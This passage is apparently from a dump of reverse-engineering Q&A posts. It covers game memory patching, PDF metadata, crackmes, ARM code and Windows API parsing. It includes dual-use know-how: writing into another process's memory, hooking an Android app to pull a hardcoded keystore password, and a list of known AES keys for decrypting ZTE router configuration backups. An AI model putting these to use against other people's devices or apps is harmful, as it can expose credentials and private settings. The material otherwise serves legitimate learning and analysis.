(::GetModuleFileNameExA(process_handle, *ci, module_name, sizeof(module_name)))\n            {\n                MODULEINFO module_info = { 0 };\n                if (false == ::GetModuleInformation(process_handle, *ci, &module_info, sizeof(module_info)))\n                {\n                    throw std::exception(\"GetModuleInformation failed\");\n                }\n\n                const std::string exe_ending = \".exe\";\n                std::string current_module = module_name;\n\n                // Make lower case of module name if it is something like \"EXE\".\n                std::transform(current_module.begin(), current_module.end(), current_module.begin(), ::tolower);\n\n                if (std::equal(exe_ending.rbegin(), exe_ending.rend(), current_module.rbegin()))\n                {\n                    std::cout << \"Process: \" << current_module << std::endl;\n                    std::cout << \" id: \" << id << std::endl;\n                    std::cout << \" image base: 0x\" << std::hex <<\n                        reinterpret_cast<uintptr_t>(module_info.lpBaseOfDll) << std::endl;\n\n                    break;\n                }\n            }\n            else\n            {\n                throw std::exception(\"GetModuleFileNameExA failed\");\n            }\n        }\n    }\n\n    return 0;\n}\n
    \n\n

    Then you should just add the offset to this image base and get address of the variable in the real process.

    \n\n

    IMO, injection is unnecessary for solving your issue. You may now use functions like ReadProcessMemory & WriteProcessMemory without injecting into process with interval less than 500 - this way you will update health from the external application more frequently than it will be updated from the game itself.

    \n\n

    Another variant is to modify the code (not the variable itself) of your game in runtime. For this you should create your process suspended (or suspend it in runtime). You may learn address of the instruction which updates variable's state the same way as you learned the variable's address. Then you may modify it to the instruction which always sets the variable to some predefined value.

    \n\n

    For example, code of health decreasing looks like this on my machine (debug x64):

    \n\n
    000000013FD32ACE 8B 05 2C 25 01 00    mov eax,dword ptr [health (013FD45000h)]  \n000000013FD32AD4 FF C8                dec eax  \n
    \n\n

    You may modify it like this with the help of already mentioned WriteProcessMemory function:

    \n\n
    000000013FD32ACE B8 10 00 00 00           mov eax,10\n000000013FD32AD3 90                       nop\n000000013FD32AD4 90                       nop\n000000013FD32AD5 90                       nop\n
    \n\n

    If you still want to play with code injection, here are tutorials on this topic:

    \n\n

    Three Ways to Inject Your Code into Another Process

    \n\n

    DLL Injection and function interception tutorial

    \n" }, { "Id": "14698", "CreationDate": "2017-02-20T16:12:47.830", "Body": "

    Here is a quick question. Someone told me that I can reverse engineering a pdf file, extracting and analyzing the underlying XML files, and figure out the creator's name for this pdf.

    \n\n

    However, I googled such approach for a while, and cannot figure out a feasible solution. Could anyone shed some light on this point..? Thank you in advance!

    \n", "Title": "Can I reverse engineer a pdf file to identify the creator's name?", "Tags": "|digital-forensics|pdf|", "Answer": "

    The PDF format is not based on XML but uses a PostScript-inspired dictionary format for its \"objects\" and streams for other data such as images. There are following places where document metadata is stored:

    \n\n\n\n

    Here's an example of retrieving this information using the low-level PDF parsing tool by Didier Stevens:

    \n\n

    First, display the \"trailer\" (something like table of contents of the PDF):

    \n\n
    \n

    pdf-parser.py -e t Excite_Project_ZN.pdf

    \n
    \n\n
    trailer\n  <<\n    /Size 3373\n    /Root 1 0 R\n    /Info 219 0 R\n    /ID [<3572219E83326040B0789EBEAE24A285><3572219E83326040B0789EBEAE24A285>]\n  >>\n\ntrailer\n  <<\n    /Size 3373\n    /Root 1 0 R\n    /Info 219 0 R\n    /ID [<3572219E83326040B0789EBEAE24A285><3572219E83326040B0789EBEAE24A285>]\n    /Prev 2126182\n    /XRefStm 2119246\n  >>\n
    \n\n

    Now let's check the /Info object (number 219):

    \n\n
    \n

    pdf-parser.py -o 219 Excite_Project_ZN.pdf

    \n
    \n\n
    obj 219 0\n Type:\n Referencing:\n\n  <<\n    /Title ()\n    /Author (Alex Matrosov)\n    /Keywords (CTPClassification=CTP_PUBLIC:VisualMarkings=)\n    /CreationDate \"(D:20161121224130-08'00')\"\n    /ModDate \"(D:20161121224130-08'00')\"\n    /Producer '(\\xfe\\xff\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00\\xae\\x00 \\x00P\\x00o\\x00w\\x00e\\x00r\\x00P\\x00o\\x00i\\x00n\\x00t\\x00\\xae\\x00 \\x002\\x000\\x001\\x006)'\n    /Creator '(\\xfe\\xff\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00\\xae\\x00\\x00P\\x00o\\x00w\\x00e\\x00r\\x00P\\x00o\\x00i\\x00n\\x00t\\x00\\xae\\x00 \\x002\\x000\\x001\\x006)'\n  >>\n
    \n\n

    So here we have the tile and the author. But there is more. If we check the Root object (number 1):

    \n\n
    >pdf-parser.py -o 1 Excite_Project_ZN.pdf\n\nobj 1 0\n Type: /Catalog\n Referencing: 2 0 R, 220 0 R, 3370 0 R, 3371 0 R\n\n  <<\n    /Type /Catalog\n    /Pages 2 0 R\n    /Lang (en-US)\n    /StructTreeRoot 220 0 R\n    /MarkInfo\n      <<\n        /Marked true\n      >>\n    /Metadata 3370 0 R\n    /ViewerPreferences 3371 0 R\n  >>\n
    \n\n

    We can see the reference to /Metadata. Let's check it:

    \n\n
    >pdf-parser.py -o 3370 Excite_Project_ZN.pdf\n\nobj 3370 0\n Type: /Metadata\n Referencing:\n Contains stream\n\n  <<\n    /Type /Metadata\n    /Subtype /XML\n    /Length 3230\n  >>\n
    \n\n

    This is a stream which needs to be extracted:

    \n\n
    >pdf-parser.py -o 3370 -x metadata.xml Excite_Project_ZN.pdf \n
    \n\n

    The output is this XML:

    \n\n\n\n
    <?xml version=\"1.0\"?>\n<?xpacket begin=\"\" id=\"W5M0MpCehiHzreSzNTczkc9d\"?>\n<x:xmpmeta x:xmptk=\"3.1-701\" xmlns:x=\"adobe:ns:meta/\">\n<?xpacket end=\"w\"?>\n<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n<rdf:Description xmlns:pdf=\"http://ns.adobe.com/pdf/1.3/\" rdf:about=\"\">\n<pdf:Producer>Microsoft\u00ae PowerPoint\u00ae 2016</pdf:Producer>\n<pdf:Keywords>CTPClassification=CTP_PUBLIC:VisualMarkings=</pdf:Keywords>\n</rdf:Description>\n<rdf:Description rdf:about=\"\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n<dc:title>\n<rdf:Alt>\n<rdf:li xml:lang=\"x-default\"/>\n</rdf:Alt>\n</dc:title>\n<dc:creator>\n<rdf:Seq>\n<rdf:li>Alex Matrosov</rdf:li>\n</rdf:Seq>\n</dc:creator>\n</rdf:Description>\n<rdf:Description rdf:about=\"\" xmlns:xmp=\"http://ns.adobe.com/xap/1.0/\">\n<xmp:CreatorTool>Microsoft\u00ae PowerPoint\u00ae 2016</xmp:CreatorTool>\n<xmp:CreateDate>2016-11-21T22:41:30-08:00</xmp:CreateDate>\n<xmp:ModifyDate>2016-11-21T22:41:30-08:00</xmp:ModifyDate>\n</rdf:Description>    \n\n<rdf:Description rdf:about=\"\" xmlns:xmpMM=\"http://ns.adobe.com/xap/1.0/mm/\">    \n<xmpMM:DocumentID>uuid:9E217235-3283-4060-B078-9EBEAE24A285</xmpMM:DocumentID>    \n<xmpMM:InstanceID>uuid:9E217235-3283-4060-B078-9EBEAE24A285</xmpMM:InstanceID>    \n</rdf:Description>    \n</rdf:RDF>\n\n</x:xmpmeta>\n
    \n" }, { "Id": "14701", "CreationDate": "2017-02-20T22:22:21.507", "Body": "

    Novice Android security researcher here. Recently I was tasked with the task/challenge of exposing a certain app's hardcoded local keystore password.

    \n\n

    I've decompiled it with JEB2 and obviously within huge mess of code I can see various references to the cryptographic algorithms, hashing and encoding routines (OCRA1, HMAC, SHA1, AES, base64 etc.) utilized in the classes and methods of the prototypes, related calls etc.

    \n\n

    Now, from the experienced pentester's viewpoint would it be possible to reveal the hardcoded pass through app's heap dumps or maybe traffic interception with the BurpSuite's mitm attack via fake certificate between the client/server point? If so, how would I then discern it from the ocean of other strings?!

    \n\n

    If that's not possible what is the proper way to proceed from then on taking into account lack of experience in reading java or reverse engineering crypto stuff?

    \n\n

    Regards

    \n", "Title": "Android App's hardcoded local keystore password r3versing", "Tags": "|decompilation|android|obfuscation|encryption|decryption|", "Answer": "

    With Jeb or another tool for static analysis of source code, seek out calls to the Keystore API classes and member functions.

    \n\n

    Once you have identified a function of interest, especially if it has arguments that include the password or a hash of it, you can then move onto dynamic analysis of the code by using a hooking framework to hook the function of interest to inspect its arguments and return values.

    \n\n

    There are several hooking frameworks available for Android, including frida and Xposed.

    \n" }, { "Id": "14710", "CreationDate": "2017-02-21T11:16:41.887", "Body": "

    I am using OllyDbg 2.01 and I walked through this tutorial to figure out how Call DLL export works. Even though it was written for another version of OllyDBG it work just fine. We should notice, that in example with USER32.dll OllyDBG detects number of input arguments, so I can change them from Call DLL export dialogue.

    \n\n

    I decided to write my own DLL library in C++ in order to test OllyDBG functionality in a more detailed manner.

    \n\n

    Here is a source code of my library.

    \n\n
    CPPlib.h\n\n#pragma once\n#ifdef CPPLib_EXPORTS  \n#define CPPLib_API __declspec(dllexport)   \n#else  \n#define CPPLib_API __declspec(dllimport)   \n#endif  \n\n#include <string>\n\nnamespace CPPLib\n{\n\n    class Functions\n    {\n    public:\n\n        static CPPLib_API void Identify();\n\n\n        static CPPLib_API void GetText();\n\n\n        static CPPLib_API void PrintText(std::string& s);\n    };\n}\n\n\nCPPLib.cpp\n\n#include \"stdafx.h\"  \n#include \"CPPLib.h\"  \n#include <iostream>\n#include <windows.h>\n\nnamespace CPPLib\n{\n    void Functions::Identify()\n    {\n        std::cout << \"This is a CPPlib \\r\\n\";\n    }\n\n    void Functions::GetText()\n    {\n        std::cout << \"This is a random text from CPPlib \\r\\n\";\n    }\n\n    std::wstring s2ws(const std::string& s)\n    {\n        int len;\n        int slength = (int)s.length() + 1;\n        len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);\n        wchar_t* buf = new wchar_t[len];\n        MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);\n        std::wstring r(buf);\n        delete[] buf;\n        return r;\n    }\n\n    void Functions::PrintText(std::string& s)\n    {\n        std::wstring stemp = CPPLib::s2ws(s);\n        LPCWSTR result = stemp.c_str();\n\n        MessageBox(0, result, (LPCWSTR)L\"MessageBox caption\", MB_OK);\n\n        std::cout << \"This is a user input text: \" << s;\n    }\n\n\n}\n
    \n\n

    In this question my interest is in the function PrintText. It takes string as an input argument, show Message box with it and prints the same string in the console.

    \n\n

    If I call this function from C++ program - it works just fine.

    \n\n
    #include \"stdafx.h\"\n#include \"CPPLib.h\"\n#include <string>\n\nint main()\n{\n    CPPLib::Functions::Identify();\n    CPPLib::Functions::GetText();\n    std::string s = \"USER INPUT\";\n    CPPLib::Functions::PrintText(s);\n    return 0;\n}\n
    \n\n

    Unlike in the example from tutorial, OllyDBG does not detect number of input arguments for my DLL.

    \n\n

    \"function\nUSER32.dll

    \n\n

    \"CPPLib.dll\"\nCPPLib.dll

    \n\n

    Moreover, even if I define it manually (e.g. choose Arg1 to be memory buffer 1) when calling that function it does not take what I wanted to be an argument. And there is no other way to change this argument as step into a function, find memory address to which it refers and change it there.

    \n\n

    So my question is: Why does OllyDbg detect number of input arguments in functions (and allows to alter them easily) from USER32.dll and doesn't in my own DLL? How can I overcome this problem?

    \n", "Title": "Call DLL export in OllyDBG", "Tags": "|ollydbg|debugging|dll|functions|", "Answer": "

    i compiled the src in commandline (no vs using ewdk)
    \nand it appears ollydbg is able to identify the args and the call export seems to succeed here with some random crap thrown in for s

    \n\n

    i assume you are aware std::string is a structure and not a plain string
    \nyou may need to properly craft a std::string and point the address of the std::string
    \nfor you to see it in messagebox in the argument field

    \n\n

    well for whatever it is worth here is a screenshot of my dab with what was posted and its results

    \n\n

    \"enter

    \n\n
    \n\n

    EDIT

    \n\n

    std::string is a structure as i mentioned

    \n\n

    your s if you debugged your executable directly should be like this

    \n\n
    0:000> dt -r9 s\nLocal var @ 0x22f984 Type std::basic_string<char,std::char_traits<char>,std::allocator<char> >*\n0x0022f98c\n   +0x000 _Mypair          : std::_Compressed_pair<std::_Wrap_alloc<std::allocator<char> >,std::_Str\ning_val<std::_Simple_types<char> >,1>\n      +0x000 _Myval2          : std::_String_val<std::_Simple_types<char> >\n         +0x000 _Bx              : std::_String_val<std::_Simple_types<char> >::_Bxty\n            +0x000 _Buf             : [16]  \"USER INPUT\"\n            +0x000 _Ptr             : 0x52455355  \"--- memory read error at address 0x52455355 ---\"\n            +0x000 _Alias           : [16]  \"USER INPUT\"\n         +0x010 _Mysize          : 0xa\n         +0x014 _Myres           : 0xf\n   =6e2a0000 npos             : 0x905a4d\n0:000>\n
    \n\n

    so if you notice std::string contains a small performance optimization \nlike if the string is less than 0x10 bytes it doesn't allocate memory but uses the buffer directly if the string is bigger than 0x10 bytes it allocates memory

    \n\n

    it has a size and max size members at 0x10 and 0x14 from the start of buffer ie foo.cstr() you may need to properly set them see below two snap shots one for a bigger std::string and one for a smaller std::string

    \n\n

    \"enter

    \n\n

    bigger string

    \n\n

    \"enter

    \n\n

    you should recognize 4021c0 as loaddlls dump1 space

    \n\n

    hope that helps

    \n\n

    as to why ollydbg shows two args may be it is a bug in the olly engine

    \n\n

    according to windbg it is only one parameter

    \n\n
    0:000> .fnent .\nDebugger function entry 01e40268 for:\n(6e2a10e0)   cpplib!CPPLib::Functions::PrintText   |  (6e2a1180)   cpplib!std::basic_string<wchar_t,\nstd::char_traits<wchar_t>,std::allocator<wchar_t> >::~basic_string<wchar_t,std::char_traits<wchar_t>\n,std::allocator<wchar_t> >\nExact matches:\n    cpplib!CPPLib::Functions::PrintText (class std::basic_string<char,std::char_traits<char>,std::al\nlocator<char> > *, class std::basic_string<char,std::char_traits<char>,std::allocator<char> > *)\n\nOffStart:  000010e0\nProcSize:  0x9d\nPrologue:  0x29\nParams:    0n1 (0x4 bytes) <------------------------\nLocals:    0n10 (0x28 bytes) \nNon-FPO\n0:000>\n
    \n" }, { "Id": "14711", "CreationDate": "2017-02-21T23:22:23.380", "Body": "

    This config.bin file is from a ZTE router. I would like to decompress it but I did not identify the compression used in the file. Maybe someone can.

    \n\n
    00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|\n00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\n00000040  00 02 00 00 00 00 00 80  00 00 4c 84 00 00 00 00  |..........L.....|\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000080  04 03 02 01 00 00 00 00  00 00 00 10 5a 58 56 31  |............ZXV1|\n00000090  30 20 48 32 30 31 4c 20  56 32 2e 30 01 02 03 04  |0 H201L V2.0....|\n000000a0  00 00 00 02 00 00 00 00  00 00 4c 68 00 01 00 00  |..........Lh....|\n000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000000d0  00 00 00 00 00 00 00 00  00 00 4c 20 00 00 4c 20  |..........L ..L |\n000000e0  00 00 00 00 5d a2 a4 6e  d6 94 bc 97 07 1b 38 17  |....]..n......8.|\n000000f0  ab 66 e7 bc f4 9b 4e 3f  cd 89 b0 c3 b2 11 4a f4  |.f....N?......J.|\n00000100  40 88 2c a1 90 e4 4d 32  d7 9b fa bd ec 39 42 ae  |@.,...M2.....9B.|\n00000110  e6 a9 2f 26 03 6e 70 f4  e5 0f 88 55 3b 1c b0 bb  |../&.np....U;...|\n00000120  b6 04 3e 73 99 15 ef 65  39 8d 85 52 6e 37 0b 5d  |..>s...e9..Rn7.]|\n00000130  6e c2 39 75 a4 94 0c c7  79 72 86 dc 25 38 38 e0  |n.9u....yr..%88.|\n00000140  8f 54 5b 18 a4 76 15 e4  f7 b3 c6 0f d8 91 19 e0  |.T[..v..........|\n00000150  00 22 1d 9c 7d a0 08 42  6f 87 ab 73 4b 17 4c 25  |.\"..}..Bo..sK.L%|\n00000160  40 2f ea 30 6b 80 27 72  db 2b 30 7a 2a 2f 3d b0  |@/.0k.'r.+0z*/=.|\n00000170  46 ca 50 0e ad 99 9a 70  3e 23 b4 b4 e0 ee 3a b3  |F.P....p>#....:.|\n00000180  a8 6a 9d 7c a2 29 17 51  9f 7a 0a 14 90 41 3f e2  |.j.|.).Q.z...A?.|\n00000190  dc 63 52 c8 01 24 6b 46  31 ac 4e c6 54 cb 18 70  |.cR..$kF1.N.T..p|\n000001a0  33 67 0c 06 7e db 00 af  22 ec a1 37 98 01 ef ae  |3g..~...\"..7....|\n000001b0  9b 47 30 48 e3 6d 18 87  ab 34 2d 2b 4e b9 5b eb  |.G0H.m...4-+N.[.|\n000001c0  55 5f 61 ab da eb 39 7e  df 7e 79 fe fd f8 11 66  |U_a...9~.~y....f|\n000001d0  b3 48 fc f8 33 38 fd 1b  1d 00 bd 83 f8 b8 2b 9f  |.H..38........+.|\n000001e0  cf 1e ae 69 ff 5d e3 04  8c 6d cc 19 12 f4 95 03  |...i.]...m......|\n000001f0  3d c8 67 e2 c2 52 d3 a4  44 eb af f5 a0 63 0a ef  |=.g..R..D....c..|\n00000200  d2 3d 82 9e 95 d1 f4 1c  ce 0c 5f 60 49 ab c3 d5  |.=........_`I...|\n00000210  89 d5 53 82 f7 4e ba ae  d3 3c 09 e9 af 52 29 e9  |..S..N...<...R).|\n00000220  d5 9b 02 54 91 e9 ae 0e  12 26 3b ca ca 4e 8f 01  |...T.....&;..N..|\n00000230  a4 52 e1 4e f8 42 7e 0d  9c 99 76 7d 5f 3c de 67  |.R.N.B~...v}_<.g|\n00000240  82 fc 38 97 7b db 06 b3  0a 44 95 64 ab 02 71 1a  |..8.{....D.d..q.|\n00000250  08 cc ca 88 f8 b6 bb 12  d4 fd 4d dd 9b 3f c1 57  |..........M..?.W|\n00000260  bb 54 9c b7 99 c3 9c 69  86 91 ea 82 b7 38 b3 c1  |.T.....i.....8..|\n00000270  f3 71 30 b7 06 82 ea c3  04 93 30 d4 83 56 50 b5  |.q0.......0..VP.|\n00000280  93 39 7a ea a7 1b 38 f0  3a f0 95 57 cb 79 e2 91  |.9z...8.:..W.y..|\n
    \n\n

    Here is the file

    \n\n

    EDIT:\nI changed the wifi password on the router and backed it up and in picture below is the difference.

    \n\n

    \"enter

    \n\n

    EDIT2: At offset 0xE4 starts first header ends at offset 0x105, data of this header it seems to start at 0x134 ?

    \n\n

    EDIT3: On my router ZTEZXV10 H201L V2 there is a utility which is in charge of db dackup (its called cspd) and here it is so maybe someone can \"see\" how the backup is encrypted:\n\"DBbackupXML\"

    \n\n

    And here is dbFileSave. I can't tell which is responsible for saving the file.\n\"enter\nDo you have any suggestions as to what I should try ?

    \n", "Title": "Identify compression of this ZTE ZXV10 H201L V2 backup config file", "Tags": "|firmware|linux|embedded|mips|decompress|", "Answer": "

    came across these keys and sharing

    \n\n

    Known AES keys:

    \n\n
      zxhn h118n ert5                      - 'MIK@0STzKpB%qJZe'\n  zxhn h118n V2.1.3_ROSCNT?            - 'MIK@0STzKpB%qJZf'\n  zxhn h168n v3                        - '402c38de39bed665'\n  zxhn h298n hv17_fv116_mts?t1         - 'Wj' (due to bug, orig. is 'Wj%2$CjM')\n  zxhn h298a hw1.1.20_fw1.1.20_ros_t1? - 'm8@96&ZG3Nm7N&Iz'\n  zxhn h108n hw1.2_fw2.5.4_eg1t8_ted,\n  zxhn h108n hv11_fv2_5_4_*            - 'GrWM2Hz&LTvz&f^5'\n  zxhn h168n hv10_fv310t3_belt         - 'GrWM3Hz&LTvz&f^9'\n  zxhn h208n hv10_fv1010_belt16t1      - 'Renjx%2$CjM'\n  zxhn h267n hv10_fv100t3_belt         - 'tHG@Ti&GVh@ql3XN'\n
    \n" }, { "Id": "14712", "CreationDate": "2017-02-22T09:42:53.323", "Body": "

    I'm analyzing load commands section of executable Mach-O file in iOS 9.3.3, Twitter app is used for ilustration.

    \n\n
    # otool -hV Twitter \nTwitter:\nMach header\n      magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags\nMH_MAGIC_64 16777228          0  0x00     EXECUTE    49       4208   NOUNDEFS DYLDLINK TWOLEVEL PIE\n
    \n\n

    I've read that every executable contains LC_UNIXTHREAD command which is responsible for starting the binary's main thread. However, there's no such command in examined file.

    \n\n
    # otool -l Twitter | grep LC_\n      cmd LC_SEGMENT_64\n      cmd LC_SEGMENT_64\n      cmd LC_SEGMENT_64\n      cmd LC_SEGMENT_64\n     cmd LC_SYMTAB\n            cmd LC_DYSYMTAB\n          cmd LC_LOAD_DYLINKER\n     cmd LC_UUID\n          cmd LC_LOAD_DYLIB\n          cmd LC_LOAD_DYLIB\n          cmd LC_LOAD_DYLIB\n          [...repetition omitted...]\n          cmd LC_RPATH\n          cmd LC_RPATH\n      cmd LC_CODE_SIGNATURE\n
    \n\n

    I cannot understand why it's not there. Does it have anything in common with the fact that this app runs with mobile user privileges or that it's proprietary app of the third party? I found this LC command e.g. for /bin/ls, but not for any of tested proprietary apps.

    \n", "Title": "No LC_UNIXTHREAD segment in iOS application Mach-O", "Tags": "|ios|mach-o|", "Answer": "

    Since a few versions ago, LC_UNIXTHREAD has been deprecated in favor of the new command, LC_MAIN.

    \n\n
    #define LC_MAIN (0x28|LC_REQ_DYLD) /* replacement for LC_UNIXTHREAD */\nstruct entry_point_command {\n    uint32_t  cmd;  /* LC_MAIN only used in MH_EXECUTE filetypes */\n    uint32_t  cmdsize;  /* 24 */\n    uint64_t  entryoff; /* file (__TEXT) offset of main() */\n    uint64_t  stacksize;/* if not zero, initial stack size */\n};\n
    \n\n

    Possibly your otool is a little old and does not support it.

    \n" }, { "Id": "14716", "CreationDate": "2017-02-22T21:40:32.823", "Body": "

    When you trace with Ollydbg it prints the register values near commands that modify them. Is there any way to get it to print some memory locations, of my choice, when modified?

    \n", "Title": "Log modified memory locations when tracing with Ollydbg", "Tags": "|ollydbg|debuggers|", "Answer": "

    which version of ollydbg v1 or v2
    \nif you are using v2 then use set protocol and apply limit to range for read , write , or r/w
    \nthe snapshot shows a range of 0x00000000 to 0x7fffffff (whole user mode mode range )
    \n\"enter

    \n\n

    this should log the memory access to that range as follows

    \n\n

    \"enter

    \n" }, { "Id": "14717", "CreationDate": "2017-02-22T23:08:49.747", "Body": "

    I'm starting to learn reverse engineering so I'm trying to reverse sample app, compiled for ARM(iOS) and now I'm looking into code.

    \n\n

    This section is right before WHILE and right at the beginning of function where values are initiated. but I can't find the raw values.

    \n\n

    This is the function .h file:

    \n\n
    #import \"NSObject.h\"\n\n@interface SampleCalc : NSObject\n\n+ (double)doCalc:(double)arg1;\n\n@end\n
    \n\n

    And this is the ARM code:

    \n\n
    +[SampleCalc doCalc:]:\n0002f198         movw       sb, #0x6cb4      ; Objective C Implementation defined at 0x95db8 (class method), :lower16:(0xc5e60 - 0x2f1ac)\n0002f19c         vmov.i32   d18, #0x0\n0002f1a0         movt       sb, #0x9         ; :upper16:(0xc5e60 - 0x2f1ac)\n0002f1a4         vmov       d16, r2, r3\n0002f1a8         add        sb, pc           ; 0xc5e60\n0002f1aa         movs       r2, #0x0\n0002f1ac         add.w      r3, sb, #0x8     ; 0xc5e68\n0002f1b0         vldr       d17, [sb]\n
    \n\n

    If I understand correctly this is ARM PIC (position independent code).

    \n\n

    But I don't get the logic here 0002f1b0 - does the brackets mean sb is storing address and value is loaded in d17? And what is the address - 0xc5e68 correct?

    \n\n

    The 0xc5e60 contains:

    \n\n
    000c5e60         db  0x00 ;\n000c5e61         db  0x00 ; '.'\n000c5e62         db  0x00 ; '.'\n000c5e63         db  0x00 ; '.'\n000c5e64         db  0x00 ; '.'\n000c5e65         db  0x00 ; '.'\n000c5e66         db  0x33 ; '3'\n000c5e67         db  0x40 ; '@'\n000c5e68         db  0x00 ;\n000c5e69         db  0x00 ; '.'\n000c5e6a         db  0x00 ; '.'\n000c5e6b         db  0x00 ; '.'\n000c5e6c         db  0x00 ; '.'\n000c5e6d         db  0x00 ; '.'\n000c5e6e         db  0x34 ; '4'\n000c5e6f         db  0x40 ; '@'\n000c5e70         db  0x00 ; '.'\n000c5e71         db  0x00 ; '.'\n000c5e72         db  0x00 ; '.'\n000c5e73         db  0x00 ; '.'\n000c5e74         db  0x00 ; '.'\n000c5e75         db  0x00 ; '.'\n000c5e76         db  0x35 ; '5'\n
    \n\n

    So does that mean D17 gets value 0x00?

    \n\n

    Bonus question, if possible, what are all those . and @.

    \n\n

    Thanks.

    \n", "Title": "Reverse engineering ARM PIC", "Tags": "|arm|ios|", "Answer": "

    sb is the alternative name for the ARM register R9 used by some disassemblers, similar to ip for R12, sp for R13 or PC for R15.

    \n\n

    The main thing you need to look at is this:

    \n\n
    0002f1a8         add        sb, pc  \n
    \n\n

    At this point, sb has the value of 0x96cb4 due to the movw and movt before.\nIn ARM, the pc value points two instructions ahead, so here it will have value 0x002f1a8+4 = 0x002f1ac. So, we get 0x002f1ac+0x96cb4=0xC5E60 which matches the comment added by the disassembler. Next, vldr d17, [sb] is executed which loads the double value at sb (or 0xC5E60). Double values are 8 bytes long so all of the bytes from 0xC5E60 till 0xC5E67 will be loaded. The hex for it is 0x4033000000000000 which corresponds to 19.0.

    \n" }, { "Id": "14718", "CreationDate": "2017-02-22T23:54:07.803", "Body": "

    I'm working through some reverse engineering sample programs (IOLI crackmes) crackme0x00 - crackme0x09 which are gcc compiled ELF format binaries. I was provided these by a colleague and can be downloaded from radare's github site (I can't add the link as I do not have the reputation points). I think I can provide enough information to ask a properly formatted question.

    \n\n

    I'm currently working on crackme0x09 and have run across a hurdle. I disassemble the main:\n\"disassembled

    \n\n

    I notice that the first call to sym.imp.printf is taking it's input from the ebx register which is referenced by an offset [ebx - 0x178b].

    \n\n

    The ebx register is set, first, in fcn.08048766 which I disassemble:\n\"disassembled

    \n\n

    So, in order:\n1) 0x84 is subtracted from the esp\n2) ebx is set equal to the location esp contains in fcn.08048766 with:\n mov ebx, dword[esp]\n3) 0x18f7 is added to the new value of the ebx\n4) eax is loaded with this new address minus and offset lea eax, [ebx - 0x178b]\n5) This is then pushed onto the stack for sym.imp.printf to print

    \n\n

    If I print all the strings in the data section of the program (using iz command) I can see them there, but I'm having a hard time understanding how to interpret the results:

    \n\n
    vaddr=0x08048838 paddr=0x00000838 ordinal=000 sz=5 len=4 section=.rodata type=ascii string=LOLO\nvaddr=0x0804883d paddr=0x0000083d ordinal=001 sz=21 len=20 section=.rodata type=ascii string=Password Incorrect!\\n\nvaddr=0x08048855 paddr=0x00000855 ordinal=002 sz=14 len=13 section=.rodata type=ascii string=Password OK!\\n\nvaddr=0x08048863 paddr=0x00000863 ordinal=003 sz=6 len=5 section=.rodata type=ascii string=wtf?\\n\nvaddr=0x08048869 paddr=0x00000869 ordinal=004 sz=25 len=24 section=.rodata type=ascii string=IOLI Crackme Level 0x09\\n\nvaddr=0x08048882 paddr=0x00000882 ordinal=005 sz=11 len=10 section=.rodata type=ascii string=Password:\n
    \n\n

    My question: How can I tell what string is referenced by [ebx - 0x178b] and subsequent ebx offsets?

    \n\n

    Thanks.

    \n", "Title": "Finding hidden string location using radare2 on ELF binaries", "Tags": "|disassembly|assembly|c|elf|radare2|", "Answer": "

    You are looking at so-called position-independent code (PIC). The program uses a helper function to get its current execution address into ebx and then adds a delta to it to calculate the address of the GOT (this works because even after the file has been moved in memory, the data segment including the GOT is still at the same offset from the function). To calculate ebx, you just need to remember that the call instruction pushes the return address onto the stack, so inside fcn.08048766 [esp] will contain 0x80486fd. Adding 0x18f7, we get 0x8049FF4 which should be the GOT address, and then you can subtract 0x178b to get 0x8048869 which should be the string.

    \n" }, { "Id": "14721", "CreationDate": "2017-02-23T09:35:33.817", "Body": "

    For a project I'm in need of a parseable version of the Windows API (i.e. the functions described in msdn).

    \n\n

    I tried to crawl it myself, but there seem to be more than 5 formats for signatures and parameters used. The MsdnApiExtractor project does not seem to work anymore.

    \n\n

    I've seen some projects using help files, but I can't seem anything to parse .hlp files. Sadly, using the header files is no alternative, since it lacks argument names.

    \n\n

    I'm mainly interested in the High-Level API (e.g. ReadFile, CloseHandle etc.)

    \n\n

    edit:

    \n\n

    Seems I've been looking at the wrong header files

    \n", "Title": "Parseable Windows API documentation", "Tags": "|windows|api|documentation|", "Answer": "

    this should be a comment but the content is long for a comment so an answer

    \n\n

    your statement /subsequent edit / that header files does not contain names \nis not correct

    \n\n
    :\\>echo %cd%\nE:\\ewdk\\Program Files\\Windows Kits\\10\\Include\\10.0.10586.0\\um\n\n:\\>grep -irn -B 3 -A 3 GetLocalTime  *\nsysinfoapi.h-180-WINBASEAPI\nsysinfoapi.h-181-VOID\nsysinfoapi.h-182-WINAPI\nsysinfoapi.h:183:GetLocalTime(\nsysinfoapi.h-184-    _Out_ LPSYSTEMTIME lpSystemTime\nsysinfoapi.h-185-    );\nsysinfoapi.h-186-\n--\n
    \n\n

    in fact i have around 49547 apis parsed from ewdk win10 headers

    \n\n
    :\\>wc -l uniqtags.txt\n49547 uniqtags.txt \n
    \n\n

    here is what it spits out for your GetLocalTime

    \n\n
    :\\>grep -n GetLocalTime uniqtags.txt\n9715:GetLocalTime       ( _Out_ LPSYSTEMTIME lpSystemTime )\n15926:InternetDebugGetLocalTime ( _Out_ SYSTEMTIME * pstLocalTime, _Out_opt_ DWORD * pdwReserved )\n
    \n\n

    here is what the possibly undocumented zwrecover functions with arguments \nparsed from headers look like

    \n\n
    :\\>grep -n ZwRec uniqtags.txt\n33290:ZwRecoverEnlistment       ( _In_ HANDLE EnlistmentHandle, _In_opt_ PVOID EnlistmentKey )\n33291:ZwRecoverResourceManager  ( _In_ HANDLE ResourceManagerHandle )\n33292:ZwRecoverTransactionManager       ( _In_ HANDLE TransactionManagerHandle )\n
    \n\n

    just to make it clear if you want to print out all the Zw.Enlist. functions with thier arguments you could do some thing like this

    \n\n
